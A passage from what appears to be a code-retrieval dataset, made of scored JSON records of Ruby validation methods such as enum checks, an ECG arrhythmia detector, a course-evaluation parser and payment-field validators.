\"memory.PersistentMemoryConfiguration\", \"memory.PersistentMemoryNamespace\", \"memory.PersistentMemoryNamespaceConfigResult\", \"memory.PersistentMemoryPolicy\", \"memory.PersistentMemoryRegion\", \"memory.PersistentMemoryUnit\", \"memory.Unit\", \"meta.Definition\", \"network.Element\", \"network.ElementSummary\", \"network.FcZoneInfo\", \"network.VlanPortInfo\", \"networkconfig.Policy\", \"niaapi.ApicCcoPost\", \"niaapi.ApicFieldNotice\", \"niaapi.ApicHweol\", \"niaapi.ApicLatestMaintainedRelease\", \"niaapi.ApicReleaseRecommend\", \"niaapi.ApicSweol\", \"niaapi.DcnmCcoPost\", \"niaapi.DcnmFieldNotice\", \"niaapi.DcnmHweol\", \"niaapi.DcnmLatestMaintainedRelease\", \"niaapi.DcnmReleaseRecommend\", \"niaapi.DcnmSweol\", \"niaapi.FileDownloader\", \"niaapi.NiaMetadata\", \"niaapi.NibFileDownloader\", \"niaapi.NibMetadata\", \"niaapi.VersionRegex\", \"niatelemetry.AaaLdapProviderDetails\", \"niatelemetry.AaaRadiusProviderDetails\", \"niatelemetry.AaaTacacsProviderDetails\", \"niatelemetry.ApicAppPluginDetails\", \"niatelemetry.ApicCoreFileDetails\", \"niatelemetry.ApicDbgexpRsExportDest\", \"niatelemetry.ApicDbgexpRsTsScheduler\", \"niatelemetry.ApicFanDetails\", \"niatelemetry.ApicFexDetails\", \"niatelemetry.ApicFlashDetails\", \"niatelemetry.ApicNtpAuth\", \"niatelemetry.ApicPsuDetails\", \"niatelemetry.ApicRealmDetails\", \"niatelemetry.ApicSnmpClientGrpDetails\", \"niatelemetry.ApicSnmpCommunityAccessDetails\", \"niatelemetry.ApicSnmpCommunityDetails\", \"niatelemetry.ApicSnmpTrapDetails\", \"niatelemetry.ApicSnmpTrapFwdServerDetails\", \"niatelemetry.ApicSnmpVersionThreeDetails\", \"niatelemetry.ApicSysLogGrp\", \"niatelemetry.ApicSysLogSrc\", \"niatelemetry.ApicTransceiverDetails\", \"niatelemetry.ApicUiPageCounts\", \"niatelemetry.AppDetails\", \"niatelemetry.CommonPolicies\", \"niatelemetry.DcnmFanDetails\", \"niatelemetry.DcnmFexDetails\", \"niatelemetry.DcnmModuleDetails\", \"niatelemetry.DcnmPsuDetails\", \"niatelemetry.DcnmTransceiverDetails\", \"niatelemetry.Epg\", \"niatelemetry.FabricModuleDetails\", \"niatelemetry.FabricPodProfile\", \"niatelemetry.FabricPodSs\", \"niatelemetry.Fault\", \"niatelemetry.HttpsAclContractDetails\", \"niatelemetry.HttpsAclContractFilterMap\", \"niatelemetry.HttpsAclEpgContractMap\", \"niatelemetry.HttpsAclEpgDetails\", \"niatelemetry.HttpsAclFilterDetails\", \"niatelemetry.Lc\", \"niatelemetry.MsoContractDetails\", \"niatelemetry.MsoEpgDetails\", \"niatelemetry.MsoSchemaDetails\", \"niatelemetry.MsoSiteDetails\", \"niatelemetry.MsoTenantDetails\", \"niatelemetry.NexusDashboardControllerDetails\", \"niatelemetry.NexusDashboardDetails\", \"niatelemetry.NexusDashboardMemoryDetails\", \"niatelemetry.NexusDashboards\", \"niatelemetry.NiaFeatureUsage\", \"niatelemetry.NiaInventory\", \"niatelemetry.NiaInventoryDcnm\", \"niatelemetry.NiaInventoryFabric\", \"niatelemetry.NiaLicenseState\", \"niatelemetry.PasswordStrengthCheck\", \"niatelemetry.PodCommPolicies\", \"niatelemetry.PodSnmpPolicies\", \"niatelemetry.PodTimeServerPolicies\", \"niatelemetry.SiteInventory\", \"niatelemetry.SnmpSrc\", \"niatelemetry.SshVersionTwo\", \"niatelemetry.SupervisorModuleDetails\", \"niatelemetry.SyslogRemoteDest\", \"niatelemetry.SyslogSysMsg\", \"niatelemetry.SyslogSysMsgFacFilter\", \"niatelemetry.SystemControllerDetails\", \"niatelemetry.Tenant\", \"notification.AccountSubscription\", \"ntp.Policy\", \"oprs.Deployment\", \"oprs.SyncTargetListMessage\", \"organization.Organization\", \"os.BulkInstallInfo\", \"os.Catalog\", \"os.ConfigurationFile\", \"os.Distribution\", \"os.Install\", \"os.OsSupport\", \"os.SupportedVersion\", \"os.TemplateFile\", \"os.ValidInstallTarget\", \"pci.CoprocessorCard\", \"pci.Device\", \"pci.Link\", \"pci.Switch\", \"port.Group\", \"port.MacBinding\", \"port.SubGroup\", \"power.ControlState\", \"power.Policy\", \"processor.Unit\", \"rack.UnitPersonality\", \"recommendation.CapacityRunway\", \"recommendation.PhysicalItem\", \"recovery.BackupConfigPolicy\", \"recovery.BackupProfile\", \"recovery.ConfigResult\", \"recovery.ConfigResultEntry\", \"recovery.OnDemandBackup\", \"recovery.Restore\", \"recovery.ScheduleConfigPolicy\", \"resource.Group\", \"resource.GroupMember\", \"resource.LicenseResourceCount\", \"resource.Membership\", \"resource.MembershipHolder\", \"resource.Reservation\", \"resourcepool.Lease\", \"resourcepool.LeaseResource\", \"resourcepool.Pool\", \"resourcepool.PoolMember\", \"resourcepool.Universe\", \"rproxy.ReverseProxy\", \"sdcard.Policy\", \"sdwan.Profile\", \"sdwan.RouterNode\", \"sdwan.RouterPolicy\", \"sdwan.VmanageAccountPolicy\", \"search.SearchItem\", \"search.TagItem\", \"security.Unit\", \"server.ConfigChangeDetail\", \"server.ConfigImport\", \"server.ConfigResult\", \"server.ConfigResultEntry\", \"server.Profile\", \"server.ProfileTemplate\", \"smtp.Policy\", \"snmp.Policy\", \"software.ApplianceDistributable\", \"software.DownloadHistory\", \"software.HclMeta\", \"software.HyperflexBundleDistributable\", \"software.HyperflexDistributable\", \"software.ReleaseMeta\", \"software.SolutionDistributable\", \"software.UcsdBundleDistributable\", \"software.UcsdDistributable\", \"softwarerepository.Authorization\", \"softwarerepository.CachedImage\", \"softwarerepository.Catalog\", \"softwarerepository.CategoryMapper\", \"softwarerepository.CategoryMapperModel\", \"softwarerepository.CategorySupportConstraint\", \"softwarerepository.DownloadSpec\", \"softwarerepository.OperatingSystemFile\", \"softwarerepository.Release\", \"sol.Policy\", \"ssh.Policy\", \"storage.Controller\", \"storage.DiskGroup\", \"storage.DiskSlot\", \"storage.DriveGroup\", \"storage.Enclosure\", \"storage.EnclosureDisk\", \"storage.EnclosureDiskSlotEp\", \"storage.FlexFlashController\", \"storage.FlexFlashControllerProps\", \"storage.FlexFlashPhysicalDrive\", \"storage.FlexFlashVirtualDrive\", \"storage.FlexUtilController\", \"storage.FlexUtilPhysicalDrive\", \"storage.FlexUtilVirtualDrive\", \"storage.HitachiArray\", \"storage.HitachiController\", \"storage.HitachiDisk\", \"storage.HitachiHost\", \"storage.HitachiHostLun\", \"storage.HitachiParityGroup\", \"storage.HitachiPool\", \"storage.HitachiPort\", \"storage.HitachiVolume\", \"storage.HyperFlexStorageContainer\", \"storage.HyperFlexVolume\", \"storage.Item\", \"storage.NetAppAggregate\", \"storage.NetAppBaseDisk\", \"storage.NetAppCluster\", \"storage.NetAppEthernetPort\", \"storage.NetAppExportPolicy\", \"storage.NetAppFcInterface\", \"storage.NetAppFcPort\", \"storage.NetAppInitiatorGroup\", \"storage.NetAppIpInterface\", \"storage.NetAppLicense\", \"storage.NetAppLun\", \"storage.NetAppLunMap\", \"storage.NetAppNode\", \"storage.NetAppNtpServer\", \"storage.NetAppSensor\", \"storage.NetAppStorageVm\", \"storage.NetAppVolume\", \"storage.NetAppVolumeSnapshot\", \"storage.PhysicalDisk\", \"storage.PhysicalDiskExtension\", \"storage.PhysicalDiskUsage\", \"storage.PureArray\", \"storage.PureController\", \"storage.PureDisk\", \"storage.PureHost\", \"storage.PureHostGroup\", \"storage.PureHostLun\", \"storage.PurePort\", \"storage.PureProtectionGroup\", \"storage.PureProtectionGroupSnapshot\", \"storage.PureReplicationSchedule\", \"storage.PureSnapshotSchedule\", \"storage.PureVolume\", \"storage.PureVolumeSnapshot\", \"storage.SasExpander\", \"storage.SasPort\", \"storage.Span\", \"storage.StoragePolicy\", \"storage.VdMemberEp\", \"storage.VirtualDrive\", \"storage.VirtualDriveContainer\", \"storage.VirtualDriveExtension\", \"storage.VirtualDriveIdentity\", \"syslog.Policy\", \"tam.AdvisoryCount\", \"tam.AdvisoryDefinition\", \"tam.AdvisoryInfo\", \"tam.AdvisoryInstance\", \"tam.SecurityAdvisory\", \"task.HitachiScopedInventory\", \"task.HxapScopedInventory\", \"task.NetAppScopedInventory\", \"task.PublicCloudScopedInventory\", \"task.PureScopedInventory\", \"task.ServerScopedInventory\", \"techsupportmanagement.CollectionControlPolicy\", \"techsupportmanagement.Download\", \"techsupportmanagement.TechSupportBundle\", \"techsupportmanagement.TechSupportStatus\", \"terminal.AuditLog\", \"terraform.Executor\", \"thermal.Policy\", \"top.System\", \"ucsd.BackupInfo\", \"uuidpool.Block\", \"uuidpool.Pool\", \"uuidpool.PoolMember\", \"uuidpool.Universe\", \"uuidpool.UuidLease\", \"virtualization.Host\", \"virtualization.VirtualDisk\", \"virtualization.VirtualMachine\", \"virtualization.VirtualNetwork\", \"virtualization.VmwareCluster\", \"virtualization.VmwareDatacenter\", \"virtualization.VmwareDatastore\", \"virtualization.VmwareDatastoreCluster\", \"virtualization.VmwareDistributedNetwork\", \"virtualization.VmwareDistributedSwitch\", \"virtualization.VmwareFolder\", \"virtualization.VmwareHost\", \"virtualization.VmwareKernelNetwork\", \"virtualization.VmwareNetwork\", \"virtualization.VmwarePhysicalNetworkInterface\", \"virtualization.VmwareUplinkPort\", \"virtualization.VmwareVcenter\", \"virtualization.VmwareVirtualDisk\", \"virtualization.VmwareVirtualMachine\", \"virtualization.VmwareVirtualMachineSnapshot\", \"virtualization.VmwareVirtualNetworkInterface\", \"virtualization.VmwareVirtualSwitch\", \"vmedia.Policy\", \"vmrc.Console\", \"vnc.Console\", \"vnic.EthAdapterPolicy\", \"vnic.EthIf\", \"vnic.EthNetworkPolicy\", \"vnic.EthQosPolicy\", \"vnic.FcAdapterPolicy\", \"vnic.FcIf\", \"vnic.FcNetworkPolicy\", \"vnic.FcQosPolicy\", \"vnic.IscsiAdapterPolicy\", \"vnic.IscsiBootPolicy\", \"vnic.IscsiStaticTargetPolicy\", \"vnic.LanConnectivityPolicy\", \"vnic.LcpStatus\", \"vnic.SanConnectivityPolicy\", \"vnic.ScpStatus\", \"vrf.Vrf\", \"workflow.BatchApiExecutor\", \"workflow.BuildTaskMeta\", \"workflow.BuildTaskMetaOwner\", \"workflow.Catalog\", \"workflow.CustomDataTypeDefinition\", \"workflow.ErrorResponseHandler\", \"workflow.PendingDynamicWorkflowInfo\", \"workflow.RollbackWorkflow\", \"workflow.SolutionActionDefinition\", \"workflow.SolutionActionInstance\", \"workflow.SolutionDefinition\", \"workflow.SolutionInstance\", \"workflow.SolutionOutput\", \"workflow.TaskDebugLog\", \"workflow.TaskDefinition\", \"workflow.TaskInfo\", \"workflow.TaskMetadata\", \"workflow.TaskNotification\", \"workflow.TemplateEvaluation\", \"workflow.TemplateFunctionMeta\", \"workflow.WorkflowDefinition\", \"workflow.WorkflowInfo\", \"workflow.WorkflowMeta\", \"workflow.WorkflowMetadata\", \"workflow.WorkflowNotification\"])\n return false unless object_type_validator.valid?(@object_type)\n true\n end", "title": "" }, { "docid": "b63ac2a2f0e477263cf87b6dbb5fcac0", "score": "0.4625843", "text": "def valid?(_) true end", "title": "" }, { "docid": "b63ac2a2f0e477263cf87b6dbb5fcac0", "score": "0.4625843", "text": "def valid?(_) true end", "title": "" }, { "docid": "1ff12e7e6ecf7d998a1804f20ee64d77", "score": "0.46203452", "text": "def validate\n show\n return\n\n # Check the variables:\n steps = []\n variables = all_variable.sort_by{|var| var.ordinal}\n variables.each_with_index do |variable, i|\n raise \"Variable #{i} should have ordinal #{variable.ordinal}\" unless variable.ordinal == i\n raise \"Variable #{i} has missing object_type\" unless variable.object_type\n variable.all_play do |play|\n raise \"Variable for #{object_type.name} includes role played by #{play.object_type.name}\" unless play.object_type == object_type\n end\n steps += variable.all_step\n end\n steps.uniq!\n\n # Check the steps:\n steps.each do |step|\n raise \"Step has missing fact type\" unless step.fact_type\n raise \"Step has missing input node\" unless step.input_play\n raise \"Step has missing output node\" unless step.output_play\n if (role = input_play).role.fact_type != fact_type or\n (role = output_play).role.fact_type != fact_type\n raise \"Step has role #{role.describe} which doesn't belong to the fact type '#{fact_type.default_reading}' it traverses\"\n end\n end\n\n # REVISIT: Do a connectivity check\n end", "title": "" }, { "docid": "438de90ac34ab3766a3dce56ad8e4900", "score": "0.46179685", "text": "def validate(cell, allow_ff=true, &block)\n if is_valid_register_address?(cell)\n yield \n else\n raise Bolverk::InvalidMemoryAddress, \"No such register address: #{cell}\"\n end\n end", "title": "" }, { "docid": "6dcea305e64dd08a5b03e8f673c1e9eb", "score": "0.4609894", "text": "def detect_segment_errors(segment, segment_start, segment_end) #collapse_start\n segment_length = segment.length\n averaged_segment = Array.new(segment_length)\n local_maxes = Array.new\n\n # Smooth the data by taking the averages\n for i in 0...segment_length\n if i == 0\n averaged_segment[i] = segment.slice(0,3).inject(:+).to_f / 3.0\n elsif i == 1\n averaged_segment[i] = segment.slice(0,4).inject(:+).to_f / 4.0\n elsif i == segment_length-1\n averaged_segment[i] = segment.slice(segment_length-3, 3).inject(:+).to_f / 3.0\n elsif i == segment_length-2\n averaged_segment[i] = segment.slice(segment_length-4, 4).inject(:+).to_f / 4.0\n else\n averaged_segment[i] = segment.slice(i-2, 4).inject(:+).to_f / 4.0\n end\n end\n\n # Find all the local maxes in the data, that can correspond to qrs segments or smaller local maxes\n j = 0\n while j < segment_length\n current = averaged_segment[j]\n local_max = true\n\n if (current - BASELINE_VALUE) > 20\n starting = [j-10, 0].max\n ending = [j+10, segment_length].min\n for k in starting...ending\n if averaged_segment[k] > current\n local_max = false\n break\n end\n end\n\n if local_max\n if (current - 512) > 250\n local_maxes.push({ index: j, type: 'qrs' })\n else\n local_maxes.push({ index: j, type: 'small' })\n end\n j += 10\n end\n end\n j += 1\n end\n\n distances = Array.new\n flutters = Array.new\n w = 0\n\n # Find the distances between qrs segments\n # Find the number of small local maxes in between qrs segments (corresponding to atrial flutters)\n while w < local_maxes.length - 1\n current = local_maxes[w]\n if current[:type] == 'qrs'\n idx = w+1\n counter = 0\n\n while idx < local_maxes.length\n if local_maxes[idx][:type] == 'qrs'\n distances.push({\n start: current[:index],\n stop: local_maxes[idx][:index],\n distance: local_maxes[idx][:index] - current[:index]\n })\n if counter >= 4\n flutters.push({\n start: current[:index],\n stop: local_maxes[idx][:index],\n distance: local_maxes[idx][:index] - current[:index]\n })\n end\n break;\n end\n\n counter += 1\n idx += 1\n end\n\n w = idx\n else\n w += 1\n end\n end\n\n max_distance = distances.present? ? distances.max_by { |obj| obj[:distance] }[:distance] : 0\n min_distance = distances.present? ? distances.min_by { |obj| obj[:distance] }[:distance] : 0\n long_distances = Array.new\n if max_distance - min_distance > 75\n long_distances = distances.select { |obj| obj[:distance] > max_distance-25 }\n long_distances = long_distances.reduce([]) do |memo, val|\n last = memo.last\n if last\n if last[:stop] == val[:start]\n last[:stop] = val[:stop]\n last[:distance] = last[:distance] + val[:distance]\n memo[-1] = last\n\n memo\n else\n memo.push(val)\n end\n else\n [val]\n end\n end\n end\n\n long_distances.each do |dist_obj|\n signal = segment.slice(dist_obj[:start], dist_obj[:distance])\n\n StreamAlert.create({\n signal: signal,\n start_time: Time.at(segment_start.to_f + dist_obj[:start]*MS_PER_SAMPLE/1000.0),\n end_time: Time.at(segment_start.to_f + dist_obj[:stop]*MS_PER_SAMPLE/1000.0),\n alert: 'Sinus Arrythmia',\n ecg_stream_id: self.id\n })\n end\n\n flutters.each do |flutter_obj|\n signal = segment.slice(flutter_obj[:start], flutter_obj[:distance])\n\n StreamAlert.create({\n signal: signal,\n start_time: Time.at(segment_start.to_f + flutter_obj[:start]*MS_PER_SAMPLE/1000.0),\n end_time: Time.at(segment_start.to_f + flutter_obj[:stop]*MS_PER_SAMPLE/1000.0),\n alert: 'Atrial Flutter',\n ecg_stream_id: self.id\n })\n end\n end", "title": "" }, { "docid": "2024604ba0482ceefd3f7c0ba42c6129", "score": "0.460187", "text": "def validate_seqname\n end", "title": "" }, { "docid": "f3f5ce34396534c8852d1c8cdf9dc7e6", "score": "0.46012604", "text": "def validate\n if self.line_item_problem_type.form_tag == 'wrong_dvd' && self.wrong_copy_id.nil?\n errors.add_to_base(\"Barcode number is required\")\n end\n end", "title": "" }, { "docid": "e5c165740eaa844a6917158bd695cbc5", "score": "0.4600194", "text": "def validate\n self.class.validations.each do |(method, args, opts)|\n send(method, *args) if !opts[:if] || instance_exec(&opts[:if])\n end\n end", "title": "" }, { "docid": "aeab8648de137fafa8d945515a16a785", "score": "0.45900485", "text": "def run\n content_at_file = @file_to_validate\n outcome = no_subtitle_marks_followed_by_space?(content_at_file)\n log_and_report_validation_step(outcome.errors, outcome.warnings)\n end", "title": "" }, { "docid": "570f1dd70a2fa35a19464739dc6a1f5c", "score": "0.4588815", "text": "def validate!; end", "title": "" }, { "docid": "570f1dd70a2fa35a19464739dc6a1f5c", "score": "0.4588815", "text": "def validate!; end", "title": "" }, { "docid": "570f1dd70a2fa35a19464739dc6a1f5c", "score": "0.4588815", "text": "def validate!; end", "title": "" }, { "docid": "60cf8a14678e6f1420d3c555baad2de1", "score": "0.45821035", "text": "def s_required\n SegmentReqs_::Required\n end", "title": "" }, { "docid": "cc9bbb1febdcea79441cb4523fce006d", "score": "0.4562192", "text": "def valid?; end", "title": "" }, { "docid": "cc9bbb1febdcea79441cb4523fce006d", "score": "0.4562192", "text": "def valid?; end", "title": "" }, { "docid": "cc9bbb1febdcea79441cb4523fce006d", "score": "0.4562192", "text": "def valid?; end", "title": "" }, { "docid": "cc9bbb1febdcea79441cb4523fce006d", "score": "0.4562192", "text": "def valid?; end", "title": "" }, { "docid": "cc9bbb1febdcea79441cb4523fce006d", "score": "0.4562192", "text": "def valid?; end", "title": "" }, { "docid": "ab117ab1b88cf2ef9bc9fe31bfceda5e", "score": "0.4561161", "text": "def digito!\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 73 )\n\n\n # - - - - label initialization - - - -\n\n\n # - - - - main rule block - - - -\n # at line \n if @input.peek( 1 ).between?( 0x30, 0x39 ) || @input.peek( 1 ).between?( 0x660, 0x669 ) || @input.peek( 1 ).between?( 0x6f0, 0x6f9 ) || @input.peek( 1 ).between?( 0x966, 0x96f ) || @input.peek( 1 ).between?( 0x9e6, 0x9ef ) || @input.peek( 1 ).between?( 0xa66, 0xa6f ) || @input.peek( 1 ).between?( 0xae6, 0xaef ) || @input.peek( 1 ).between?( 0xb66, 0xb6f ) || @input.peek( 1 ).between?( 0xbe7, 0xbef ) || @input.peek( 1 ).between?( 0xc66, 0xc6f ) || @input.peek( 1 ).between?( 0xce6, 0xcef ) || @input.peek( 1 ).between?( 0xd66, 0xd6f ) || @input.peek( 1 ).between?( 0xe50, 0xe59 ) || @input.peek( 1 ).between?( 0xed0, 0xed9 ) || @input.peek( 1 ).between?( 0x1040, 0x1049 )\n @input.consume\n else\n mse = MismatchedSet( nil )\n recover mse\n raise mse\n\n end\n\n\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 73 )\n\n\n end", "title": "" }, { "docid": "07aba547e1f80fa59ec608437c716765", "score": "0.45525432", "text": "def valid?\n type_validator = EnumAttributeValidator.new('String', [\"person\", \"business\"])\n return false unless type_validator.valid?(@type)\n return false if @country.nil?\n return false if @street.nil?\n return false if @postal_code.nil?\n return false if @city.nil?\n return false if @email.nil?\n return false if @ip.nil?\n identification_type_validator = EnumAttributeValidator.new('String', [\"DL\", \"PP\", \"ID\", \"OT\"])\n return false unless identification_type_validator.valid?(@identification_type)\n legal_entity_type_validator = EnumAttributeValidator.new('String', [\"sole_proprietorship\", \"partnership\", \"privately_owned_company\", \"publicly_owned_company\", \"government_owned_entity\", \"trust\", \"ngo\", \"club_and_society\", \"go\", \"other\", \"financial_institution\", \"mto\"])\n return false unless legal_entity_type_validator.valid?(@legal_entity_type)\n nature_of_business_validator = EnumAttributeValidator.new('String', [\"personal\", \"agriculture_and_hunting\", \"forestry\", \"fishing\", \"agricultural_by_products\", \"coal_mining\", \"oil_mining\", \"iron_ore_mining\", \"other_metal_and_diamond_mining\", \"other_mineral_mining\", \"manufacturing_of_food_drink_tobacco\", \"manufacturing_of_textiles_leather_fur_furniture\", \"manufacture_of_wooden_products_furniture\", \"manufacture_of_paper_pulp_allied_products\", \"manufacture_of_chemicals_medical_petroleum_rubber_plastic_products\", \"manufacture_of_pottery_china_glass_stone\", \"manufacture_of_iron_steel_non_ferrous_metals_basic_industries\", \"manufacture_of_metal_products_electrical_and_scientific_engineering\", \"manufacture_of_jewelry_musical_instruments_toys\", \"electricity_gas_and_water\", \"construction\", \"wholesale_trade\", \"retail_trade\", \"catering_incl_hotels\", \"transport_storage\", \"communications\", \"finance_and_holding_companies\", \"insurance\", \"business_services\", \"real_estate_development_investment\", \"central_state_governments\", \"community_services_defence_police_prisons_etc\", \"social_services_education_health_care\", \"personal_services_leisure_services\", \"personal_services_domestic_laundry_repairs\", \"personal_services_embassies_international_organisations\"])\n return false unless nature_of_business_validator.valid?(@nature_of_business)\n return false if @documents.nil?\n gender_validator = EnumAttributeValidator.new('String', [\"M\", \"F\", \"O\"])\n return false unless gender_validator.valid?(@gender)\n true\n end", "title": "" }, { "docid": "db2d091f35b7965e467892a7574d1a95", "score": "0.45521063", "text": "def run_validation(vmode)\n validate(vmode)\n self\n end", "title": "" }, { "docid": "aceadff4ec00807ecec3b8b3e060fa24", "score": "0.4550047", "text": "def validate_routes\n return unless time_segment\n self.time_segment.delete_routing_set_errors\n self.time_segment.check_routing_set_percent_is_100\n end", "title": "" }, { "docid": "cc4fe34e483e784f24ce42aa92547a35", "score": "0.4546734", "text": "def process(problem)\n @id = 0\n problem.constraints.each do |c|\n puts print_expression(c.expression)\n puts \"\\n\\n\"\n end\n problem\n end", "title": "" }, { "docid": "8f5a15eadaf6059ec59df0dc7b270b12", "score": "0.454328", "text": "def subclass_validations ; true ; end", "title": "" }, { "docid": "2fd3237c4df1f2e3d3cf518fdbf73c19", "score": "0.45432252", "text": "def validate\n\tvalidate_unexpected_assets_not_present && validate_expected_asset_present && validate_snippet_and_description\nend", "title": "" }, { "docid": "01449cb3eb7f065a65621285ca8c0ed9", "score": "0.4536601", "text": "def s_mandatory\n SegmentReqs::Mandatory\n end", "title": "" }, { "docid": "ade585d0f5130108f7092f7758789aa6", "score": "0.45349425", "text": "def validate\n end", "title": "" }, { "docid": "ade585d0f5130108f7092f7758789aa6", "score": "0.45349425", "text": "def validate\n end", "title": "" }, { "docid": "ade585d0f5130108f7092f7758789aa6", "score": "0.45349425", "text": "def validate\n end", "title": "" }, { "docid": "196fbf204e274d65dae08fe0d7ef294d", "score": "0.452764", "text": "def check_constraints\n case self.recordable\n when ExtractionsExtractionFormsProjectsSectionsQuestionRowColumnField\n case self.recordable.question_row_column_field.question_row_column.question_row_column_type.name\n when 'text'\n min_length = self.recordable.question_row_column_field.question_row_column.field_validation_value_for(:min_length).to_i\n max_length = self.recordable.question_row_column_field.question_row_column.field_validation_value_for(:max_length).to_i\n if self.persisted? && self.name.length > 0 && (self.name.length < min_length || self.name.length > max_length)\n errors.add(:length, \"must be between #{ min_length.to_s } and #{ max_length.to_s }\")\n end\n when 'numeric'\n # First check that we aren't trying to validate any of the ~, <, >, ≤, ≥ special characters.\n if self.recordable.question_row_column_field.question_row_column.question_row_column_fields.second == self.recordable.question_row_column_field\n unless (self.name =~ /\\A[-+]?[0-9]*\\.?[0-9]+\\z/) || self.name != ''\n errors.add(:value, 'Must be numeric')\n end\n\n min_value = self.recordable.question_row_column_field.question_row_column.field_validation_value_for(:min_value).to_i\n max_value = self.recordable.question_row_column_field.question_row_column.field_validation_value_for(:max_value).to_i\n if self.persisted? && (self.name.to_i < min_value || self.name.to_i > max_value)\n errors.add(:value, \"must be numeric and between #{ min_value.to_s } and #{ max_value.to_s }\")\n end\n end\n end\n end\n end", "title": "" }, { "docid": "2049ee641e055f6954f0e1bf2616a762", "score": "0.4525682", "text": "def validate_procession\n if(!procession_valid?)\n @procession.errors.each_full { |msg| errors.add('procession', msg) }\n end\n procession_valid?\n end", "title": "" }, { "docid": "c2c7a0d566001cced4204e5911932519", "score": "0.4519381", "text": "def check_marc; end", "title": "" }, { "docid": "e27804bcf126d8dcc4e2d07ed9569be0", "score": "0.45176074", "text": "def valid?(cc)\n\nend", "title": "" }, { "docid": "65c11d233b077a8ada6442b75d672d4f", "score": "0.45163962", "text": "def validate\n check_syntax\n end", "title": "" }, { "docid": "4d10fc26e868dec5c3dcc70150eb1c82", "score": "0.4505798", "text": "def validated; end", "title": "" }, { "docid": "5ff22b18cb7c969c0b838f3121426fea", "score": "0.45044956", "text": "def set_validations_and_filters\n validates_length_of :numero_publicacion, :in => 6..12, :allow_nil => true, :allow_blank => true\n validates_presence_of :fecha_solicitud, :numero_gaceta\n validates_format_of :numero_solicitud, :with => /^\\d+-\\d{4}/\n validates_uniqueness_of :numero_solicitud#, :scope => :parent_id\n #validates_presence_of :numero_publicacion, :numero_gaceta\n end", "title": "" }, { "docid": "055b561dc1f5365275755e61852e3662", "score": "0.4501295", "text": "def initialize(doc, dept_abbrevs)\n @valid = true\n @attributes = {}\n \n # split up the page title to extract information, or fail if not the expected format\n title = doc.search(\"title\").inner_text\n # => \"AERONAUTICS & ASTRONAUTICS A A 101 A ?? Joseph M Blakely ??Other?? AU07\"\n title = title.split(\"??\")\n # => [\"AERONAUTICS & ASTRONAUTICS A A 101 A \", \" Joseph M Blakely \", \"Other\", \" AU07\"]\n return @valid = false if title.size < 4\n \n @attributes[:instructor_name] = title[1].strip\n @attributes[:instructor_type] = title[2].strip\n \n # get quarter ('AU07') and convert it to the format used in the time schedule ('AUT2007')\n quarter = title[3].strip\n if (quarter =~ /97|98|99/)\n year_prefix = '19'\n else\n year_prefix = '20'\n end\n quarter.sub!(/AU/, \"AUT#{year_prefix}\"); quarter.sub!(/WI/, \"WIN#{year_prefix}\"); quarter.sub!(/SP/, \"SPR#{year_prefix}\"); quarter.sub!(/SU/, \"SUM#{year_prefix}\")\n @attributes[:quarter] = quarter\n \n # get the course number, or fail\n match = title[0].match(/\\d+/)\n return @valid = false unless match\n @attributes[:number] = match[0].strip\n @attributes[:section] = match.post_match.strip if match.post_match\n \n # match the dept abbrev using the list passed to us (guaranteed to be sorted long to short).\n # this is the only way to separate department name from department abbrev. fail if no match\n title_and_abbrev = match.pre_match.strip\n dept = nil\n dept_abbrevs.each do |abbrev|\n match = title_and_abbrev.match(\" #{Regexp::escape(abbrev)}$\") \n break dept = match[0].strip if match\n end\n unless dept\n #puts \"FAILED on \" + title_and_abbrev\n return @valid = false\n end\n @attributes[:dept] = dept\n \n # parse the eval scores table\n table = doc.search(\"table\")\n caption = table.search(\"caption\").inner_text\n # => \"Form B: Large Lecture?????\\\"39\\\" surveyed ?? \\\"56\\\" enrolled\"\n caption = caption.split(/\\?+/)\n # => [\"Form B: Large Lecture\", \"\\\"39\\\" surveyed \", \" \\\"56\\\" enrolled\"]\n @attributes[:course_type] = caption[0].strip\n @attributes[:surveyed] = caption[1].match(/\\d+/)[0].to_i\n @attributes[:enrolled] = caption[2].match(/\\d+/)[0].to_i\n @attributes[:stats] = {}\n rows = table.search(\"tr\")\n rows.each do |row|\n row = row.inner_text\n # => \"The course as a whole: 28%38%28%3%3%0% 3.93\"\n key = nil\n key = :whole if row =~ /whole:/\n key = :content if row =~ /content:|taught:/\n key = :contribution if row =~ /contribution:/\n key = :effectiveness if row =~ /effectiveness:/\n key = :interest if row =~ /interest:|enthusiastic:/\n key = :learned if row =~ /learned:/\n key = :grading if row =~ /techniques:/\n next unless key\n row = row.split(/ |:/).reverse # sometimes there is no space after \"whole:\"\n # [\"3.93\", \"28%38%28%3%3%0%\", \"whole:\", \"a\", \"as\", \"course\", \"The\"]\n median = row[0].to_f\n scores = row[1].split('%').reverse\n # => [\"0\", \"3\", \"3\", \"28\", \"38\", \"28\"]\n scores.map! { |x| x = x.to_i }\n @attributes[:stats][key] = {:median => median, :scores => scores}\n end\n end", "title": "" }, { "docid": "5c0a67f34e32b2e35f8398a8fcd03125", "score": "0.449197", "text": "def valid?\n return false if @ach_type.nil?\n return false if @routing_number.nil?\n return false if @routing_number.to_s.length > 9\n return false if @routing_number.to_s.length < 9\n return false if @routing_number !~ Regexp.new(/^[0-9]+$/)\n return false if @account_number.nil?\n return false if @account_number.to_s.length > 56\n return false if @account_number.to_s.length < 1\n return false if @account_number !~ Regexp.new(/^[0-9]+$/)\n return false if @account_type.nil?\n account_type_validator = EnumAttributeValidator.new('String', [\"C\", \"S\"])\n return false unless account_type_validator.valid?(@account_type)\n return false if !@check_number.nil? && @check_number.to_s.length > 10\n return false if !@check_number.nil? && @check_number !~ Regexp.new(/^[0-9]+$/)\n return false if @check_type.nil?\n check_type_validator = EnumAttributeValidator.new('String', [\"P\", \"C\"])\n return false unless check_type_validator.valid?(@check_type)\n return false if !@product_code.nil? && @product_code.to_s.length > 6\n return false if !@product_code.nil? && @product_code !~ Regexp.new(/^[0-9]+$/)\n return false if !@agent_id.nil? && @agent_id.to_s.length > 6\n return false if !@agent_id.nil? && @agent_id !~ Regexp.new(/(?=.*[^\\s])^[^|]+$/)\n return false if !@terminal_id.nil? && @terminal_id.to_s.length > 10\n return false if !@terminal_id.nil? && @terminal_id !~ Regexp.new(/^[0-9]+$/)\n return false if !@registration_id.nil? && @registration_id.to_s.length > 50\n return false if !@registration_id.nil? && @registration_id !~ Regexp.new(/(?=.*[^\\s])^[^|]+$/)\n release_type_validator = EnumAttributeValidator.new('String', [\"C\", \"D\", \"P\", \"T\"])\n return false unless 